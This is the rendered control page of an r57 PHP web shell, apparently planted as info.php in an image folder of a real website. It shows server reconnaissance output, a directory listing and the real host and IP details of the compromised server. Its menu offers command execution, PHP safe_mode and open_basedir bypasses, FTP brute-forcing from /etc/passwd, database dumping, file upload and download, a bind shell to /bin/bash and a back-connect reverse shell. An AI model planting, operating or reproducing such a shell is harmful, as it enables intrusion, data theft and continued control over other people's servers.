o---[ r57 Shell ]---o o---[ heroes1412 ]---o

o--[ heroes1412 ]--o

  05-09-2010 17:56:11  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ brute ]  [ ln -s all ]  [ tmp ]  [ deface vbb ]
  safe_mode: OFF  Open_Basedir: NONE  Safe_Exec_Dir: NONE  Safe_Gid: OFF  Safe_Include_Dir: NONE  Sql.safe_mode: OFF
  PHP version: 5.2.14  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: ON  Oracle: OFF
  Disable functions : NONE
  Useful: gcc, lcc, cc, ld, php, perl, python, ruby, make, tar, gzip, bzip, bzip2, nc, locate, suidperl, mod_perl, mod_include(SSI)
  Downloaders: fopen, wget, fetch, lynx, links, curl, get
  Free space : 125.92 GB   Total space: 226.17 GB
  Server IP: [ 192.168.100.74 ]   --   Your IP: [ 38.107.191.118 ]

uname -a :
sysctl :
$OSTYPE :
Server :
id :
pwd :

   Linux 151010-web1.www.jenniferwebdesignlasvegas.com 2.6.9-89.0.9.ELsmp #1 SMP Wed Aug 19 08:07:15 EDT 2009 i686 athlon i
   Linux 2.6.9-89.0.9.ELsmp
   linux-gnu
   Apache/2.0.52 (Red Hat)
   uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv),2524(psacln)
   /var/www/vhosts/starspangledcarousel.com/httpdocs/images/featured_logos   ( drwxrwsr-x )

Executed command: dir -ao

total 116 drwxrwsr-x 2 ssc_admin 4096 Aug 14 16:13 . drwxrwsr-x 10 ssc_admin 4096 Jan 7 2010 .. -rwxrwsr-x 1 ssc_admin 1648 Jul 30 2009 armani.jpg -rwxrwsr-x 1 ssc_admin 1748 Jul 30 2009 charlie_rocket.jpg -rwxrwsr-x 1 ssc_admin 1863 Jul 30 2009 chipie.jpg -rwxrwsr-x 1 ssc_admin 3892 Jul 30 2009 diesel.jpg -rwxrwsr-x 1 ssc_admin 14815 Jul 30 2009 flowers_by_zoe_1.jpg -rwxrwsr-x 1 ssc_admin 15112 Jul 30 2009 ikks_1.jpg -rw-rw-rw- 1 apache 42219 May 30 02:21 info.php -rwxrwsr-x 1 ssc_admin 2035 Jul 30 2009 jean_bourget.jpg -rwxrwsr-x 1 ssc_admin 2345 Jul 30 2009 lili.jpg -rwxrwsr-x 1 ssc_admin 1561 Jul 30 2009 naturino.jpg -rwxrwsr-x 1 ssc_admin 2348 Jul 30 2009 quicksilver.jpg

:: Execute command on server ::

Run command 4
Work directory 4

:: Edit files ::

File for edit 4

:: read dir from vul reg_glob ::

read dir 4

:: read dir from vul root ::

read dir 4

:: read file from vul copy() ::

where file in server 4

:: read file from vul ini_restore() ::

where file in server 4

:: Bypass php 5.2.6 ::

Cat file 4

:: Bypass php 5.2.9 ::

Cat file 4

:: Php Bypass ::

Read File

File : 4

View Dir

Dir : 4

:: DeZender ::

Cat file 4

:: ionCube extension safe_mode bypass ::

Cat file 4

:: Aliases ::

Select alias 4

:: Find text in files ::

Find text 4
In dirs 4	*
Only in files 4	*

:: Test bypass open_basedir with cURL functions ::

Cat file 4

:: read file from vul curl() ::

where file in server 4

:: Eval PHP code ::

:: Upload files on server ::

Local file 4
Local file 4
Local file 4

Local file 4
Local file 4

:: Upload files from remote server ::

With 4	Remote file 4
Local file 4

:: Download files from server ::

file 4
Archivation 4	without archivation zip gzip bzip

:: FTP-bruteforce ::

FTP-server:port 4
	* use username from /etc/passwd for ftp login and password ( Users list )
	Use reverse (user -> resu) login for password

:: Databases ::

Dump database table

Type 4
SQL-Server : Port 4	:
Login : Password 4	:
Db . Table 4	.
Save dump in file 4

Run SQL query

Type 4
SQL-Server : Port 4	:
Login : Password 4	:
Database 4
SQL query 4

:: Net ::

Bind port to /bin/bash

Port 4
Password for access 4
Use 4

back-connect

IP 4
Port 4
Use 4

o---[ private r57 shell by heroes1412 ]---o

Generation time: 0.9912 seconds